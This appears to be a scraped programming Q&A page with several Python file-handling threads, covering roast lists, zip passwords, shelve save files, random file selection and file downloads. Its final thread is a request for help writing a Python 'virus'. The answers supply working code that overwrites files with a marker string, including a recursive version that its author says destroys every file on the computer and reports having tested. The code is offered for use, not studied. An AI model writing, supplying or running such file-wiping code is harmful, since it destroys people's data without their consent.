Writing to a list in an external module - python

So I'm working on a discord bot that has commands like meme commands, roast commands, etc, and since I'm still learning python I haven't started to work with databases yet and store all the roasts in a separate py file and then import it as a module in the bot file.
I want to create another .py file that imports the list and appends to it instead of me opening the py file and edit it myself... heres the code i've written for now and even though it executes without any errors, the list module does not append.
from roasts_list import roast
adder_value = input("What would you like to add? \n")
roast.append(adder_value)
the module is the roasts_list and the list name is roast.
Any solutions?

Rather than creating an external python module for storing the list, you can store it in a text file.
adder_value = input("What would you like to add? \n")
#add roasts to the text file
roast_file = open("roast.txt", "a")
roast_file.write(adder_value + "\n") #adds roast to the text file
roast_file.close()
#get roasts
roast_file = open("roast.txt", "r")
roast_list = roast_file.read().splitlines() #returns a list of all roasts in the text file
roast_file.close()
Using this method, you can save your roasts in text files, and use them accordingly.

Agreeing with Devansh. If you go with your approach to save them in e.g. a list variable from a .py file, that would mean that all of your values would only be stored in memory and as soon as the program stops, all values will be lost. If you want to persistently store the values, the easiest way would be to store them in a file.
In addition to Devansh approach above, i would suggest opening the file with its context manager, and adding a try/except to handle if you try getting roasts from the file before it's created, making it a little bit more stable in a running program.
#add roasts to the text file
def add_roast():
adder_value = input("What would you like to add? ")
with open("roast.txt", "a") as roast_file:
roast_file.write(adder_value + "\n") #adds roast to the text file
#get roasts
def get_roasts():
try:
with open("roast.txt", "r") as roast_file:
return roast_file.read().splitlines()
except FileNotFoundError as e:
print("No roasts exist yet")
add_roast()
print(get_roasts())

Related

Password protected zip file wont output correctly?

I am using Python to create a list of groups. It only makes sense to me that, using the code, I have for creating the password protected zip, I can create the input in my code as long as it is created before listing the input. As such, I have created a txt file which then needs to be placed in a password protected zip. With the code I am using below, I get this error message when I try to run it: (OSError: error in opening /Users/name/Desktop/Groups.txt for reading). I'm simply not very experienced in this regard and wouldn't know how to solve this issue (+ I am extremely desperate right now). This is the code I have so far, but it does not work:
#creates .txt file to put in zip folder
with open("Groups.txt", 'w') as file:
file.write("Each row is a group:" + '\n')
for row in final_group:
s = ", ".join(map(str, row))
file.write(s+'\n')
# creates password protected zip
inpt = "/Users/name/Desktop/Groups.txt"
pre = None
oupt = "/Users/name/Desktop/Groups.zip"
password = "password"
com_lvl = 5
pyminizip.compress(inpt, None, oupt, password, com_lvl)
Could someone help me out here?
The input file might be in a different directory, because of which there's an error. You can either
Set inpt = "Groups.txt"
Set with open("/Users/name/Desktop/Groups.txt", 'w') as file:

python 3 os.remove multiple file types with the same name

So I'm currently using 'shelve' to save game data for a game I'm working on, however when I use pyinstaller to pack this game into an exe it creates 3 different file's all with the same name but different file types, even though when creating the file I don't specify a file type.
def save_game(yn):
if yn:
file = shelve.open('savegame', 'n')
file['map'] = map
file['objects'] = objects
file['player_index'] = objects.index(player) # index of player in objects list
file['stairs_index'] = objects.index(stairs) # same for the stairs
file['inventory'] = inventory
file['game_msgs'] = game_msgs
file['game_state'] = game_state
file['dungeon_level'] = dungeon_level
file.close()
this creates the save file with no file type (which works great!) however in exe form it creates 'savegame.bak', 'savegame.dir', and 'savegame.dat' when the player dies I call a function which saves the file (in case there is no save file) and then delete it, so you can't access your ended game save.
def player_death(player):
# the game ended!
global game_state
...
game_state = 'dead'
...
save_game(True)
os.remove('savegame')
In short I just need to know how I can make the os.remove line get rid of the savegame whether it's just 1 file or 3 different files all with different file types.
one option is to use pathlib.
from pathlib import Path
for file in Path("/path/to/dir/with/saves").glob('savegame.*') :
file.unlink()
if you can express it with wildcards, the glob module is for you.
from glob import iglob
for file in iglob("savegame.*"):
os.remove(file)
note: if you know that you will only match a few files, you can safely use glob instead of iglob. if you don't know how many files you will match, you should generally use iglob to not end up with a huge list in memory.

Any way to open random file in python?

So I'm making a sudoku game wherein I should get the board of the game from a file (the given numbers) and there should be many files to choose from.
I can only think of is:
if choice==1:
sudoku=open(file1, "r+")
and so on but it would take many lines by just opening a file.
Is there a way to open random file in python3?
If you want to open a file based on user input, you are looking to format strings, using str.format.
Let's say the user choice is choice, and each file is labeled as game1, game2, game3, etc. That is, the Sudoku game for choice is prepended by game.
To get the path of the file, you want to use
path = "game{number}".format(number = choice)
Then, just open it as usual. Putting it all together:
choice = int(input("Enter a file number: "))
path = "game{number}".format(number = choice)
sudoku = open(path, "r+")
You could theoretically put several filenames into a list, then use the random.choice() method. Here's the code:
listOfFiles = [file1, file2, file3]
selectedFile = random.choice(listOfFiles)
Then you can load and operate on the randomly chosen file.

Python 3.3 Code to Download a file to a location and save as a given file name

For example I would like to save the .pdf file # http://arxiv.org/pdf/1506.07825 with the filename: 'Data Assimilation- A Mathematical Introduction' at the location 'D://arXiv'.
But I have many such files. So, my input is of the form of a .csv file with rows given by (semi-colon is the delimiter):
url; file name; location.
I found some code here: https://github.com/ravisvi/IDM
But that is a bit advanced for me to parse. I want to start with something simpler. The above seems to have more functionality than I need right now - threading, pausing etc.
So can you please write me a very minimal code to do the above:
save the file 'Data Assimilation- A Mathematical Introduction'
from 'http://arxiv.org/pdf/1506.07825'
at 'D://arXiv'?
I think I will be able to generalize it to deal with a .csv file.
Or, hint me a place to get started. (The github repository already has a solution, and it is too perfect! I want something simpler.) My guess is, with Python, a task as above should be possible with no more than 10 lines of code. So tell me important ingredients of the code, and perhaps I can figure it out.
Thanks!
I would use the requests module, you can just pip install requests.
Then, the code is simple:
import requests
response = requests.get(url)
if response.ok:
file = open(file_path, "wb+") # write, binary, allow creation
file.write(response.content)
file.close()
else:
print("Failed to get the file")
Using Python 3.6.5
Here is a method that can create a folder and save the file in a folder.
dataURL - Complete URL path
data_path - Where the file needs to be saved.
tgz_path - Name of the datafile with the extension.
def fetch_data_from_tar(data_url,data_path,tgz_path):
if not os.path.isdir(data_path):
os.mkdir(data_path)
print ("Data Folder Created # Path", data_path)
else:
print("Folder path already exists")
tgz_path = os.path.join(data_path,tgz_path)
urllib.request.urlretrieve(data_url,filename=tgz_path)
data_tgz = tarfile.open(tgz_path)
data_tgz.extractall(path=data_path)
data_tgz.close()

Listing Directories In Python Multi Line

i need help trying to list directories in python, i am trying to code a python virus, just proof of concept, nothing special.
#!/usr/bin/python
import os, sys
VIRUS=''
data=str(os.listdir('.'))
data=data.translate(None, "[],\n'")
print data
f = open(data, "w")
f.write(VIRUS)
f.close()
EDIT: I need it to be multi-lined so when I list the directorys I can infect the first file that is listed then the second and so on.
I don't want to use the ls command cause I want it to be multi-platform.
Don't call str on the result of os.listdir if you're just going to try to parse it again. Instead, use the result directly:
for item in os.listdir('.'):
print item # or do something else with item
So when writing a virus like this, you will want it to be recursive. This way it will be able to go inside every directory it finds and write over those files as well, completely destroying every single file on the computer.
def virus(directory=os.getcwd()):
VIRUS = "THIS FILE IS NOW INFECTED"
if directory[-1] == "/": #making sure directory can be concencated with file
pass
else:
directory = directory + "/" #making sure directory can be concencated with file
files = os.listdir(directory)
for i in files:
location = directory + i
if os.path.isfile(location):
with open(location,'w') as f:
f.write(VIRUS)
elif os.path.isdir(location):
virus(directory=location) #running function again if in a directory to go inside those files
Now this one line will rewrite all files as the message in the variable VIRUS:
virus()
Extra explanation:
the reason I have the default as: directory=os.getcwd() is because you originally were using ".", which, in the listdir method, will be the current working directories files. I needed the name of the directory on file in order to pull the nested directories
This does work!:
I ran it in a test directory on my computer and every file in every nested directory had it's content replaced with: "THIS FILE IS NOW INFECTED"
Something like this:
import os
VIRUS = "some text"
data = os.listdir(".") #returns a list of files and directories
for x in data: #iterate over the list
if os.path.isfile(x): #if current item is a file then perform write operation
#use `with` statement for handling files, it automatically closes the file
with open(x,'w') as f:
f.write(VIRUS)

Categories

Resources